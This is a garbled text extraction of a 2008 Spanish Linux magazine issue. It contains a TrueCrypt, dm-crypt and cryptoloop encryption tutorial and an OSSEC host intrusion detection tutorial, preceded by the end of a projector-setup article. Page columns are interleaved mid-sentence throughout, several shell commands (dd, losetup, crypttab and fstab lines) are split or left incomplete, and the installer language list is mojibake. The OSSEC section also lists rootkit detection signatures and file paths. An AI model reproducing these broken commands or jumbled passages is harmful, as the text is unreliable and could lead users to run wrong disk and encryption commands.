que hacer la configuración cada que conectes el proyector. (Nota: Si no te logueaste como root, no te permitirá guardar los cambios.)

• • • • • • •

¡Listo! Acceso como root

Contáctanos Si tienes algún problema y quieres que te ayudemos a resolverlo, no dudes en escribir a ajminero@gmail.com, (ASUNTO: ProblemasLinux). Prometemos poner todo nuestro esfuerzo para ayudarte y aquellos problemas de interés serán publicados con la solución correspondiente.

¡Listo! Puedes jugar con la manera de presentar la información en el proyector, por ejemplo podrías colocar la imágen del proyector a un lado de la imágen del portátil y así extender tu escritorio. Esto es útil si vas a dar clase, así los alumnos sólo pueden ver lo que colocas o arrastras hasta el proyector y no todo lo que haces en la PC.

20

Figura 1. Cambiando valores

Linux+ 9/2008


seguridad Cifrado de datos

Protege tus Datos en Linux – Cifrado de Datos José Ángel Muñoz Martínez

linux@software.com.pl

Actualmente es casi imposible encontrar a un usuario o administrador de sistemas que no tenga o necesite proteger algún tipo de documento, imagen o archivo de contraseñas. Fuera de aquellas organizaciones como bancos u organismos oficiales que (en algunos casos teóricamente. Véase el ejemplo del Banco de New York Mellon Corp, que gastando una gran cantidad de dinero en seguridad, confirmó el 30 de Mayo pasado la pérdida de cintas sin cifrar conteniendo datos de más de 4.5 millones de clientes al haber sido enviadas en furgoneta por mensajería) poseen sistemas de seguridad y cifrado físicos (Como el Documento Nacional de Identidad electrónico, con tarjeta chip válido para realizar operaciones con Hacienda y Tráfico en España) y cuya implementación cuesta muchísimo esfuerzo y dinero; se hace necesaria la protección de datos por software, mejorando en algunos casos la seguridad de los primeros.

E

n este artículo veremos algunas de las soluciones que nos ofrece Linux y analizaremos cómo conseguir una solución de cifrado eficiente, segura y barata.

Definición

Creo que es importante y, aunque sea un poco pesada la teoría en este caso, el aclarar los conceptos que creo nos servirán para ser más correctos a la hora de hablar de cifrado y codificación. Sólo hay que buscar un poco en Internet para darse cuenta de que la palabra encriptar (la cual no existe en el diccionario de la RAE) ha emergido de la inglesa Encrypt y cuya traducción en español es Cifrar. Cifrar es la transcripción de un dato en números, símbolos o letras de acuerdo a una clave o contraseña. Es el método más efectivo y seguro para archivar datos. Es importante no confundir el término cifrar con codificar, ya que la codificación es la transformación de la formulación de un mensaje mediante las reglas de un código en otro tipo de representación. En informática un códec es la implementación de la regla (o algoritmo) para codificar o decodificar, como los archivos MP3.

22

Linux+ 9/2008

Aumenta tu Seguridad Existen algunas soluciones como Bastille (http://bastillelinux.sourceforge.net/index.html) que, en la mayoría de los casos, hacen de nuestro Linux un lugar más seguro. Aún así hay escenarios en los que es fundamental una protección de datos más exhaustiva. Hoy mismo, un compañero me contaba una anécdota sobre unos datos financieros de una empresa conteniendo los salarios de los empleados y que, compartidos en un directorio erróneo, habían sido abiertos por casualidad por uno de los empleados, obteniendo así información confidencial de sus compañeros. Si los datos compartidos hubieran sido cifrados, únicamente los conocedores de la clave hubieran podido acceder a los archivos en cuestión. Habrá casos en los que el hecho de mover un archivo fuera de nuestro ordenador, ya sea en un dispositivo portátil o enviando un correo, requerirá de un método fiable de cifrado.

Herramientas de Cifrado de Archivos

Linux posee decenas de excelentes herramientas que permitirán proteger nuestros archivos y sistemas de archivos. En este artículo intentaremos mostrar aquellas seleccionadas como las mejores y que seguro se adaptarán perfectamente


seguridad Cifrado de datos a cualquier tipo de usuario como TrueCrypt. un archivo que montaremos (una vez introduciVeremos también alguna un poco más com- da la contraseña correcta) como un sistema de pleja de manejar para aquellos usuarios que se archivos estándar. inician, pero muy portátiles y efectivas. A este archivo lo llamaremos contenedor. Como veremos más adelante, podremos ocultar TrueCrypt nuestro contenedor e incluso utilizar cualquier Todos aquellos que tenemos la suerte de mover- archivo de nuestro sistema (imagen, mp3, nos con un portátil, ya sea de empresa o perso- documento, etc) como llave (además de una nal y, además, tengamos la dichosa costumbre contraseña) para poder acceder al mismo. de guardar datos personales y confidenciales La posibilidad de ocultar un volumen con en ellos, sabemos que existe el riesgo más alto Truecrypt aumentará la seguridad de nuestros o más bajo de que algún amigo de lo ajeno se datos, ya que nuestro contenedor ocultará un apropie de él sin nuestro permiso poniendo segundo volumen con la información confidenen peligro nuestra intimidad o la seguridad de cial bajo un primer volumen y, por supuesto, nuestra empresa. Existe una herramienta real- con diferentes contraseñas. Qué pena que esta mente potente y por supuesto open source que, funcionalidad no esté disponible para Linux. seguro nos hará sentir mucho más tranquilos en Aún así, es prácticamente imposible determieste aspecto. nar si un archivo de TrueCrypt contiene datos TrueCrypt (http://www.truecrypt.org) es la de valor o, simplemente es un disco que ha solución perfecta para nuestro sistema. Lo pri- sido borrado utilizando un algoritmo como por mero que nos encontramos es una herramienta ejemplo con la utilidad shred. multiplataforma (Trabaja en Linux, Windows y Mac OS X) y totalmente transparente una vez Descargar e Instalar TrueCrypt instalada. Instalar y configurar la aplicación será un juego de niños. La instalaremos en Ubuntu 8.04 HarCómo Funciona dy Heron descargando el paquete .deb desde TrueCrypt establece y mantiene un volumen o http://www.truecrypt.org/downloads.php. dispositivo de almacenamiento sobre la marA la hora de escribir este artículo la versión cha. Significa que los datos se cifran y descifran disponible es la 5.1a y nombre del archivo que automáticamente antes de que sean abiertos o descargaremos se llama guardados y, siempre sin intervención del usuario. Los datos guardados en un volumen cifrado truecrypt-5.1a-ubuntu-x86.tar.gz. no podrán leerse sin las contraseñas, ficheros de claves o llave de cifrado correctas. El sistema Una vez lo tengamos en nuestro disco duro, lo de archivos completo se cifra (archivos, direc- descomprimiremos con el comando: torios, contenido de cada uno de los archivos, espacio libre, meta datos, etc). $ tar xvzf truecrypt-5.1a-ubuntuPodremos copiar los archivos guardados x86.tar.gz desde volumen TrueCrypt de forma estándar (por ejemplo arrastrándolos). Accederemos al directorio recién creado trueLos archivos se descifrarán en la memoria crypt-5.1a, donde podremos encontrar el RAM durante la operación de lectura o copia. archivo de licencia (License.txt), el archivo De igual manera, aquellos archivos que se Readme.txt indicando cómo hemos de instalar guarden o copien en un volumen TrueCrypt, la aplicación y el paquete truecrypt_5.1ase cifrarán en RAM justo antes de escribirlos 0_i386.deb que instalaremos de la siguiente en disco. manera: Cuando se configura un volumen TrueCrypt, estaremos creando (al igual que con una $ sudo dpkg -i truecrypt_5.1a-0_ máquina virtual como VirtualBox o VMWare) i386.deb

En Hardy Heron, obviaremos el mensaje de rendimiento que se nos muestra al final de la instalación.

Ejecutando TrueCrypt

Iniciar TrueCrypt es igual de sencillo que su instalación. Lo más interesante es que su funcionamiento no depende en absoluto de un entorno gráfico, haciendo su manejo extremadamente sencillo en un servidor. Para ejecutarlo, escribiremos el comando: $ truecrypt

Veremos la pantalla inicial como se muestra en la Figura 1. La primera operación que realizaremos será crear un nuevo volumen. Para ello pulsaremos sobre la opción Create Volume. Como se comentó anteriormente, en Linux no se podrán crear volúmenes ocultos, así que seleccionaremos la opción Create a standard TrueCrypt volume (Crear un volumen estándar TrueCrypt). Pulsando sobre el botón Next > se nos mostrará la pantalla para crear un nuevo archivo imagen que albergará nuestros datos cifrados. Podremos también seleccionar una partición que será cifrada de la misma manera. Mucho cuidado con esta última opción ya que todo el contenido en la unidad se borrará automáticamente. En nuestro caso crearemos un archivo imagen llamado datos en /home/jose. Para mayor seguridad, es preferible seleccionar siempre la opción Never save history (Nunca guardar un histórico). De esta manera TrueCrypt no nos recordará las últimas operaciones realizadas en ningún caso. Es el momento de seleccionar el tamaño de nuestro volumen, así que pulsaremos Next > y escribiremos el tamaño deseado en KiloBytes, MegaBytes o GigaBytes. Como ejemplo, crearemos un contenedor de 1 MB y pulsaremos Next > de nuevo. La pantalla que se nos muestra a continuación es una de las más importantes en el pro-

Listado 1. Secuencia que aparece al ejecutar TrueCrypt Enter mount directory [default]: <enter>

Enter password for /home/jose/datos: Linux+Magazine

Enter keyfile [none]: /home/jose/Pictures/Personal/4n.jpg Enter keyfile [finish]: <enter> Protect hidden volume? (y=Yes/n=No) [No]: <enter>

www.lpmagazine.org

Figura 1. Pantalla Inicial de TrueCrypt

23


seguridad Cifrado de datos ceso de la creación de nuestro volumen. En la parte superior seleccionaremos el algoritmo de cifrado. Podremos seleccionar tres tipos de cifrado en cascada (como por ejemplo AES-Twofish-Serpent) incrementando de esta manera la seguridad de nuestro contenedor. En la parte inferior de la misma pantalla seleccionaremos el algoritmo Hash (en nuestro caso SHA-512), utilizado por el generador de números aleatorios de TrueCrypt para la generación de las claves de cabecera del volumen. Confirmaremos con el botón Next > donde seleccionaremos nuestra contraseña y archivos llave. En la Figura 2 podemos comprobar que TrueCrypt nos permite, además de introducir una contraseña (máximo 64 caracteres), seleccionar un archivo llave. Una vez creado el volumen, cualquier usuario que desee montarlo y no disponga de este archivo no podrá hacerlo (aún sabiendo la contraseña) siendo, sin duda, el método más seguro para trabajar. Como se indicó al inicio del artículo, el archivo llave puede ser de cualquier tipo (jpeg, mp3, doc, avi, zip, etc). Pulsando sobre el botón Keyfiles (archivos llave) se abrirá un menú donde podremos seleccionar el archivo o archivos que deseamos incorporar como tal. En el caso de seleccionar un directorio, cada uno de los archivos de ese directorio será archivo llave de nuestro volumen además de totalmente necesarios cada vez que deseemos montarlo. Es muy importante recalcar que, aunque la seguridad se multiplica utilizando un archivo llave, su pérdida implicará la pérdida de los datos contenidos en nuestro volumen cifrado. Pulsamos Next > para formatear nuestro contenedor. FAT será la única opción disponible así que sólo tendremos que seleccionar Next > de nuevo. En éste punto, TrueCrypt tiene toda la información necesaria para crear el volumen. Moveremos el ratón dentro del cuadro de diálogo para generar dígitos aleatorios que se usarán para crear el volumen. Pulsaremos sobre Format y cuando finalice Exit y ya tenemos nuestro contenedor listo para su uso.

Figura 2. Seleccionar Contraseña para el Volumen

24

Montar nuestro Contenedor

datos. Su instalación es igual de sencilla que la La forma más sencilla de montar nuestro nue- de TrueCrypt: vo contenedor es escribiendo en la línea de comandos: $ sudo apt-get install cryptsetup dmsetup $ truecrypt datos

Donde, si recordamos, datos es el nombre de nuestro volumen. Ejecutando TrueCrypt en un Servidor nos mostraría la secuencia presentada en el Listado 1. Como el lector podrá comprobar, en nuestro ejemplo hemos utilizado una imagen jpeg como archivo de llave. En el caso de que no tuviéramos este archivo e introdujéramos la contraseña correcta, se nos mostraría el error: Incorrect Password o not a TrueCrypt Volume Podremos comprobar que nuestro volumen está montado con el comando df:

No así su manejo el cual explicamos a continuación.

Ejecutando DM-Crypt

Antes de comenzar, cargaremos los módulos de cifrado necesarios para trabajar con DMCrypt. Necesitaremos los módulos dm_mod, dm_crypt y aes_i586. Los cargaremos de la siguiente manera: $ sudo modprobe aes_i586 $ sudo modprobe dm_mod $ sudo modprobe dm_crypt

Para asegurarnos que se cargarán cuando reiniciemos nuestro equipo, modificaremos el archivo /etc/modules agregando las siguientes Pero tranquilos. Aquellos usuarios menos há- líneas al final del archivo: biles con la línea de comandos tienen la suerte de contar con una de las mejores herramientas aes_i586 de cifrado de datos. En un entorno gráfico, al dm_mod ejecutar: dm_crypt /dev/loop0

1001

0

1001

0% /media/truecrypt1

Es el momento de elegir la partición de nuestro disco donde guardaremos los datos cifrados. Se nos mostrará la pantalla de la Figura 3 donde Primero la desmontamos con el comando de una forma muy gráfica podremos selec- umount. En nuestro caso hemos elegido el discionar nuestro(s) archivo(s) llave e introducir positivo /dev/hdb1: nuestra contraseña con toda comodidad. En la pantalla principal de TrueCrypt, $ sudo umount /dev/hdb1 podremos montar y desmontar (Mount / Dismount) de una forma más sencilla cada uno En vez de usar una clave de paso, crearemos de nuestros volúmenes cifrados, aunque como una clave cifrada aleatoria de 256 bit y la guarcasi siempre, toda la potencia de la herramienta daremos en /etc/hdb1-key: se obtiene ejecutándola desde la línea de comandos: $ sudo dd if=/dev/urandom of $ truecrypt datos

=/etc/hdb1-key bs=1c count=32 $ truecrypt -–help

Podremos comprobar el contenido de nuestra nos mostrará ayuda de cada uno de los paráme- nueva llave creada con el comando: tros de TrueCrypt. $ sudo cat /etc/hdb1-key | xxd -ps

DM-Crypt

Hay pocas diferencias entre TrueCrypt y DMCrypt. Aunque es difícil decir cuál de los dos programas es mejor, es cierto que TrueCrypt permite utilizar simultáneamente diferentes tipos de algoritmos, crear un archivo imagen, así como mover los datos entre diferentes plataformas. DM-Crypt es un viejo conocido de Linux y, desde mi punto de vista, debe ocupar un lugar de honor entre el software de cifrado de

Linux+ 9/2008

El siguiente paso será crear nuestro dispositivo dm-crypt usando la llave que acabamos de generar: $ sudo cryptsetup -d /etc/hdb1-key create lpmagazine /dev/hdb1

Podremos acceder ahora al dispositivo /dev/ mapper/lpmagazine, el cual provee una capa cifrada encima de /dev/hdb1. Crearemos un


seguridad Cifrado de datos sistema de archivos ext3 en /dev/mapper/ $ dd if=/dev/zero of=lpmagazine.img lpmagazine: bs=1M count=1 $ sudo mkfs.ext3 /dev/mapper/

La asociamos a un dispositivo loopback:

lpmagazine

Podríamos extender este artículo hasta casi escribir un libro con la cantidad de herramientas de cifrado de datos que existen para Linux, gcipher, que podremos instalar con el comando:

$ sudo losetup /dev/loop0

Y lo montaremos: $ sudo mkdir /media/lpmagazine

lpmagazine.img

$ sudo apt-get install gcipher

La formateamos:

Enc-FS y Crypto-FS que utilizan FUSE (File System in Userspace) y LUFS (Linux Userland Filesystem), Qryptix, eCryptfs, LUKS, Bcrypt, Ncrypt, Pad y un largo etcétera. Aunque mi consejo es utilizar una herramienta como TrueCrypt, recomiendo a los usuarios investigar y escoger la herramienta que más se adapte a sus necesidades.

$ sudo mount /dev/mapper/lpmagazine /media/lpmagazine

$ sudo mkfs -t ext3 /dev/loop0

Para finalizar, crearemos una nueva línea en el Y la montamos: archivo /etc/crypttab: $ sudo mount /dev/loop0 /mnt lpmagazine /dev/hdb1 /etc/

¡Voila!, ya tenemos nuestra imagen montada y dispuesta a recibir datos. Pero ¿Y si queremos Si deseamos que nuestra unidad se monte que estén cifrados? El proceso es igualmente automáticamente cada vez que inicie nuestro sencillo pero tendremos que indicarle qué tipo equipo, modificaremos el archivo /etc/fstab de cifrado queremos. Lo primero que haremos añadiendo la línea: será cargar el módulo cryptoloop: hdb1-key cipher=aes

/dev/mapper/lpmagazine lpmagazine

Otras Herramientas de Cifrado

/media/

ext3 defaults 0 2

Como vemos, DM-Crypt no posee la facilidad de TrueCrypt a la hora de generar unidades cifradas y que, carece de su potente entorno gráfico para aquellos usuarios que deseen tener unidades cifradas sin demasiado esfuerzo. Aún así, podemos comprobar que posee la misma capacidad y potencia para generar unidades cifradas para proteger nuestros datos.

CryptoLoop

Seguro que en algún momento nos encontramos con un sistema operativo como Ubuntu 8.04 Hardy Heron instalado en una máquina pero tenemos la mala suerte de que no esté conectada a Internet para descargar herramientas de cifrado de datos como las ya expuestas en éste artículo. Cryptoloop es una forma muy sencilla de generar imágenes con datos cifrados sin ningún tipo de instalación adicional. Lo primero que haremos será explicar el proceso que seguiremos para crear una imagen sencilla sin cifrar, formatearla y montarla para su uso. Para ello seguiremos los pasos que se indican a continuación. Primero crearemos una imagen de 1 MB y la llamaremos lpmagazine.img:

$ sudo modprobe cryptoloop

Como hicimos con DM-Crypt, si deseamos que se carge en el arranque, deberemos añadir la línea cryptoloop al final del archivo /etc/ modules. Crearemos nuestra imagen de 1 MB de la misma manera: $ dd if=/dev/zero of= lpmagazine.img bs=1M count=1

Primero quitamos la asociación anterior al dispositivo loopback con el comando:

Conclusión

En una sociedad como la nuestra donde, y aunque no nos demos cuenta, todo va excesivamente rápido y donde hemos hecho que la información se convierta en la herramienta más poderosa, es necesario unos sistemas de seguridad y cifrado potentes. La única forma de salvaguardar todos aquellos datos importantes para que únicamente sean accesibles a unos pocos es utilizando herramientas como TrueCrypt y, yendo más allá, llaves físicas para acceder a ellos. Por supuesto, por mucho que nuestra información esté cifrada en nuestro ordenador y de forma local, nunca será segura si la transferimos a Internet se realiza por vías no seguras como ftp o rsync. Siempre recomiendo a mis colegas, compañeros y amigos el uso de OpenSSH (http://www.openssh.com/) para cualquier transferencia que se realice a través de una red, pero eso ya es otra historia.

$ sudo losetup -d /dev/loop

La asociamos a ese mismo dispositivo, pero esta vez con la opción -e aes, indicando que queremos el tipo de cifrado aes: $ sudo losetup -e aes /dev/loop0 lpmagazine.img

Sobre el Autor José Ángel Muñoz Martínez es Técnico Superior de Informática de Sistemas. Nacido en 1973 en Madrid, actualmente trabaja en el sector de la RFID (Identificación por

La formateamos:

Radio Frecuencia). Colaborador ya habitual de ésta revista, a parte de la lectura

$ sudo mkfs -t ext3 /dev/loop0

y los viajes, dentro de la informática sus intereses son, el software libre, Linux y to-

Y la montamos: $ sudo mount -o loop,encryption =aes lpmagazine.img /mnt/

Ya tenemos nuestra imagen cifrada montada en el directorio /mnt/ y preparada para que escribamos nuestros preciados datos. Figura 3. Montar Volumen

www.lpmagazine.org

do lo relacionado con las comunicaciones y la seguridad. Su experiencia se basa en un fuerte control de Sistemas Linux y Windows, abarcando un amplio abanico en el mundo de la informática, el control del calidad y la documentación. Su blog personal está en http://linux-neobook.blogspot.com/ y su correo, donde podréis contactar con él, josea.munoz@gmail.com

25


seguridad Ossec

OSSEC, la referencia de los HOST IDS's Daniel Medianero

linux@software.com.pl

El campo de los detectores de intrusos siempre me ha fascinado, la idea en sí misma de un IDS (Intrusion Detection System) es genial: un sistema que me permita saber cuándo y cómo soy atacado e incluso efectuar acciones reactivas ante dichos ataques. En un mundo ideal los detectores de intrusos serían la panacea de la seguridad informática.

26

S

obra decir que no estamos en un mundo ideal aunque no por ello dejamos de estar ante un campo muy interesante. Separándolos en función del tipo de tráfico que interceptan, tenemos tres tipos de detectores de intrusos:

bajo la GPLv2) y por la variedad de funciones que aporta: correlación de logs, reglas personalizables en formato XML, control de integridad, respuesta activa, etc. Para ello instalaremos un sensor de OSSEC en un sistema Slackware Linux en modo local, configuraremos la interfaz web de usuario para ver las alertas y haremos un repaso sobre los puntos fuertes y débiles de • Host IDS (HIDS): Los sensores se encuentran en cada la herramienta. Todos los comandos deben ejecutarse con privimáquina y por tanto vigilan únicamente los eventos que legios de root a excepción de los de descarga del software. se producen en dicha máquina. • Network IDS (NIDS): Los sensores se encuentran en Instalación segmentos de red y por tanto vigilan el tráfico que circu- OSSEC está licenciado bajo la GPLv2 y es gratuito. Al mola por la misma. mento de escribir este artículo la versión estable del sensor es • Distributed IDS (DIDS): En la práctica se trata de una la v1.4 y puede descargarse de la web oficial: serie de NIDS que se comunican con un sensor central. • Sensor para Linux, Solaris, BSD, Mac y variantes: http: Todo el mundo que haya oído hablar de detectores de intrusos //www.ossec.net/files/ossec-hids-1.4.tar.gz estará pensando en Snort, sin duda el rey de los NIDS Open- • Sensor para Windows 2000, XP y 2003: http:// Source, sin embargo en este artículo vamos a tratar los HIDS en www.ossec.net/files/ossec-agent-win32-1.4.exe general y OSSEC en particular, puesto que su popularidad está aumentando enormente por diversos motivos: multiplataforma Para el caso que nos ocupa (instalación bajo Linux) descarga(Windows, Linux, BSD, Solaris y MacOS etc), diferentes mo- remos el código en el directorio /usr/local/src. Procededos de instalación (local, agente y servidor), gratuito (licenciado remos a su descompresión y desempaquetado:

Linux+ 9/2008


seguridad Ossec

# tar zxvf ossec-hids-1.3.tar.gz

Listado 1. Elección del lenguaje de instalación

Entramos en el directorio resultante y ejecutamos el script de instalación, que como veremos a continuación nos va guiando de manera muy intuitiva: # ./install.sh Se nos irán mostrando en modo texto las opciones a elegir durante la instalación para establecer la configuración inicial del sensor. La primera de ellas es la elección del lenguaje de instalación (Listado 1). Optamos por castellano (es) y pulsamos intro. Después nos muestra un mensaje de bienvenida con algunos datos recopilados de nuestro sistema, nos advierte de la necesidad de tener instalado un compilador de C como gcc. Tras aceptarlo se nos pregunta sobre el tipo de instalación: servidor, agente o local. La respuesta a esta pregunta depende de la infraestructura sobre la que vayamos a desplegar los sensores:

** Para instalação em português, escolha [br].

• •

servidor: Un servidor controla distintos agentes de OSSEC instalados en varias máquinas. agente: Es instalado en un sistema y reporta las alertas contra un servidor de OSSEC local: El agente y el servidor están instalados en el mismo sistema.

** è¦ä1⁄2¿ç¨ä¸æè¿¡å®è£, 请éæ© [cn]. ** Fur eine deutsche Installation wohlen Sie [de]. ** Îια εγκαÏάÏÏαÏη ÏÏα ÎλληÎ1⁄2ικά, εÏιλÎÎ3⁄4Ïε [el]. ** For installation in English, choose [en]. ** Para instalar en Español , eliga [es].

** Pour une installation en français, choisissez [fr] ** Per l'installazione in Italiano, scegli [it]. ** æ¥æ¬èªã§ã¤ã³ã¹ãã1⁄4ã«ãã3⁄4ãï1⁄4é¸æãã¦ä¸ããï1⁄4[jp]. ** Aby instalowaÄ w jÄzyku Polskim, wybierz [pl]. ** ÐÐ»Ñ Ð¸Ð1⁄2ÑÑÑÑкÑий пÐ3⁄4 ÑÑÑаÐ1⁄2Ð3⁄4вке Ð1⁄2а ÑÑÑÑкÐ3⁄4Ð1⁄4 ,введиÑе [ru]. ** Za instalaciju na srpskom, izaberi [sr]. ** TÃ1⁄4rkçe kurulum için seçin [tr]. (en/br/cn/de/el/es/fr/it/jp/pl/ru/sr/tr) [en]:

Listado 2. Información sobre como lanzar, parar y reiniciar el servicio El sistema es Slackware Linux. Init script modificado para empezar OSSEC HIDS durante el arranque. Configuración finalizada correctamente. Para comenzar OSSEC HIDS: /var/ossec/bin/ossec-control start Para detener OSSEC HIDS: /var/ossec/bin/ossec-control stop La configuración puede ser leída - modificada en /var/ossec/etc/ossec.conf Gracias por usar OSSEC HIDS. Si tuviera Usted alguna duda, sugerencia - haya encontrado algun desperfecto, contactese con nosotros a

Como ya hemos comentado anteriormente, contact@ossec.net usando nuestra lista pública de correo en ossecabordaremos la instalación en modo local sobre list@ossec.net. Más información puede ser encontrada en http:// un sistema Linux, en concreto la distribución www.ossec.net Slackware Linux. La siguiente pregunta es el directorio donde se instalará el software, por defecto es /var/ossec pero podemos elegir el que estimemos oportuno. Tras ello nos pregunta si deseamos recibir notificaciones de las alertas por correo electrónico. Ésta es una gran ventaja. OSSEC tiene su propio servicio de mail para enviar las alertas que se van produciendo, esto puede resultar tremendamente útil si se trata de un sistema crítico. La siguiente pregunta es sobre la agregación del servidor de integridad. Esta es otra de las grandes ventajas de OSSEC. Proporciona un servidor de integridad que soporta algoritmos MD5 y SHA-1. Los ficheros y directorios sobre los que se aplica la comprobación de integridad son totalmente configurables a través del fichero de configuración que veremos posteriormente. Por otro lado, el proceso que se encargará de comprobar la integridad contra la BBDD inicial creada no carga en absoluto el sistema. Debido a esto elegir esta opción resulta muy interesante. Aún más ahora que Tripwire (herramienta de control de integridad muy conocida y utilizada) ha dejado de ser gratuita y que parece que su homóloga en el mundo del software libre (AIDE) no despega Figura 1. Integrity Checking database con toda fuerza que se esperaba de ella.

www.lpmagazine.org

27


seguridad Ossec La siguiente pregunta que tenemos que contestar es sobre la adición de un sistema de detección de rootkit. Esta opción es igualmente interesante en tanto en cuanto no carga el sistema y proporciona protección adicional. La última pregunta antes de la instalación se refiere a habilitar la respuesta activa. Esto convierte a OSSEC en un IPS (Intrusion Prevention System) y puede ser una opción interesante aunque no haremos uso de ella en este artículo debido

Figura 2. Alert Search Options

a que implica que el servidor podría rechazar conexiones, añadir reglas en iptables para no permitir acceso a direcciones IP que provoquen alertas, etc. Por todo ello el uso de la respuesta activa debe estudiarse en profundidad a fin de que no desemboque en la no disponibilidad del sistema. A continuación OSSEC muestra una lista de logs sobre los que efectuará correlación. Si deseamos añadir más es el momento oportuno, sí bien podremos configurar más rutas a través del fichero de configuración como veremos posteriormente. Tras aceptar el software se compilará e instalará, tras lo cual nos ofrecerá información sobre como lanzar, parar y reiniciar el servicio (Listado 2). Adicionalmente se crea un script de inicio del servicio, en el caso de sistemas Linux lo tendremos en la ruta /etc/rc.d si nos encontramos ante inicio BSD (el caso que nos ocupa: Slackware Linux) o /etc/init.d si nos encontramos ante inicio de tipo SysV (Debian, Fedora, etc). El contenido de dicho script lo podemos

Listado 3. Contenido de un script #!/bin/sh # OSSEC Controls OSSEC HIDS # Author: Daniel B. Cid <dcid@ossec.net> # Modified for slackware by Jack S. Lai . /etc/ossec-init.conf

if [ "X${DIRECTORY}" = "X" ]; then DIRECTORY="/var/ossec" fi start() { ${DIRECTORY}/bin/ossec-control start } stop() { ${DIRECTORY}/bin/ossec-control stop } status() { ${DIRECTORY}/bin/ossec-control status }c ase "$1" in start) start ;; stop) stop ;; restart) stop start ;; status) status ;; *) echo "*** Usage: $0 {start|stop|res tart|status}" exit 1 esac exit 0 Inicializamos OSSEC y podemos ver los siguientes procesos en ejecución: /var/ossec/bin/ossec-maild /var/ossec/bin/ossec-execd /var/ossec/bin/ossec-analysisd /var/ossec/bin/ossec-logcollector /var/ossec/bin/ossec-syscheckd /var/ossec/bin/ossec-monitord

Figura 3.Stat options

28

Linux+ 9/2008


seguridad Ossec observar en el Listado 3. El nombre de los procesos explica por si solo la función de los mismos. En estos momentos tenemos el sensor de OSSEC funcionando en nuestro sistema. Mientras el proceso ossec-syscheckd está creando la BBDD de firmas de ficheros para controlar la integridad los procesos, ossec-logcollector y ossecanalysisd realizan la correlación de log. Todo ello desembocará en eventos que se almacenan en ficheros de log en la ruta /var/ossec/logs/ alerts/ y serán enviados por correo electrónico mediante el proceso ossecmaild.

bien se hará un pequeño análisis concreto sobre este rootkit (ZK) en concreto acudir al una de ellas en la parte final del mismo. Control siguiente estudio: http://honeyblog.org/ de integridad está presentado en el Listado 5. junkyard/reports/redhat-compromise2.pdf Asignamos la frecuencia con la que se realiza el • rootkit_trojans: Este fichero contiene chequeo (el valor por defecto funciona bastante las signaturas de detección de rootkits y bien). A continuación se enumeran los directorios troyanos. La detección de rootkits medianque se comprueban y se incluyen tags para ignote patrones merece un artículo en sí mismo rar ficheros y direcorios específicos. Como podepor lo que en esta ocasión no lo trataremos mos apreciar ofrece mucha personalización. Anti en profundidad. RootKits, Respuesta Activa y Nivel de Alertas los • system_audit_rcl: Este fichero contiene podemos observar en el Listado 6. las políticas y sirve para detectar si un Bajo las etiquetas de rootkit referenciamos proceso está en ejecución, si cierto fichero los ficheros que configuran la detección de los contiene un patrón concreto. La sintaxis de Configuración mismos, los ficheros referenciados son en texto este fichero es bastante sencilla aunque la La configuración del sensor se realiza a través plano y perfectamente personalizables. Los potencia de su uso es muy grande. del fichero /var/ossec/etc/ossec.conf. Este repasamos a continuación: fichero tiene formato XML por lo que es facilEsta posibilidad permite a OSSEC ser utilizado mente entendible y editable. Repasaremos breve- • rootkit_files: Este fichero contiene rutas como herramienta de auditoría de políticas. La mente dicho fichero (Listado 4). En esta parte se utilizadas por los rootkits. OSSEC buscará referencian las reglas que serán aplicadas, como la existencia de estos ficheros y en su caso Listado 4. Fichero /var/ossec/etc/ossec.conf podemos apreciar OSSEC trae por defecto reglas alertará de ello. Por ejemplo el rootkit ZK para correlar multitud de servicios y programas. utiliza diversos ficheros en /usr/share y Parte Global: Estas reglas se encuentran en el directorio: /var/ en /usr/X11R6 por lo que en el fichero <global> ossec/rules/. La explicación de las firmas rootkit_files aparecen las entradas del <email_notification>yes</email_ queda fuera del propósito de este artículo, si Listado 7. Para más información sobre notification> <email_to>dmedianero@gmail.com</ email_to> <smtp_server>smtp.mi.servidor</ smtp_server> <email_from>ossecm@mi.servidor</ email_from> </global> Los parametros definen si está activada la notificación por mail, el correo fuente y destino y el servidor smtp utilizado. Reglas: <rules> <include>rules_config.xml</include> <include>pam_rules.xml</include> <include>sshd_rules.xml</include> <include>telnetd_rules.xml</ include> <include>syslog_rules.xml</include> <include>arpwatch_rules.xml</ include> <include>symantec-av_rules.xml</ include> <include>symantec-ws_rules.xml</ include> <include>pix_rules.xml</include> <include>named_rules.xml</include> <include>smbd_rules.xml</include> <include>vsftpd_rules.xml</include> <include>pure-ftpd_rules.xml</ include> ...... continua

Figura 4. Latest Events

www.lpmagazine.org

29


seguridad Ossec

Listado 5. Control de integridad <syscheck>

<!-- Frequency that syscheck is executed - default to every 6 hours --> <frequency>21600</frequency>

<!-- Directories to check (perform all possible verifications) --> <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories> <directories check_all="yes">/bin,/sbin</directories> <!-- Files/directories to ignore --> <ignore>/etc/mtab</ignore> <ignore>/etc/mnttab</ignore> <ignore>/etc/hosts.deny</ignore> <ignore>/etc/mail/statistics</ignore> <ignore>/etc/random-seed</ignore> <ignore>/etc/adjtime</ignore> ..... continua

Listado 6. Anti RootKits, Respuesta Activa y Nivel de Alertas <rootcheck> <rootkit_files>/var/ossec/etc/shared/rootkit_files.txt</rootkit_files> <rootkit_trojans>/var/ossec/etc/shared/rootkit_trojans.txt</rootkit_ trojans> <system_audit>/var/ossec/etc/shared/system_audit_rcl.txt</system_audit> </rootcheck>

• • • • • • • • •

syslog, snort, iis, eventlog, mysql, postgreesql, apache, squid, nmapg.

Mediante la etiqueta location se indica la ruta del log a monitorizar. Como ha podido comprobarse, la configuración de OSSEC es muy intuitiva y combina una sencillez asombrosa con la posibilidad de una profundización en la personalización que puede resultar muy adaptable a distintos entornos y hacen de la herramienta una opción muy interesante. Una vez dado un repaso por el fichero de configuración de eventos, instalaremos la interfaz web de usuario para visualizar las alertas.

<active-response> <disabled>yes</disabled> </active-response> <alerts> <log_alert_level>1</log_alert_level> <email_alert_level>7</email_alert_level> </alerts>

Listado 7. Entradas en el fichero rootkit_files usr/share/.zk ! ZK rootkit :: usr/share/.zk/zk ! ZK rootkit :: etc/1ssue.net ! ZK rootkit ::

Interfaz web de usuario

usr/X11R6/.zk ! ZK rootkit ::

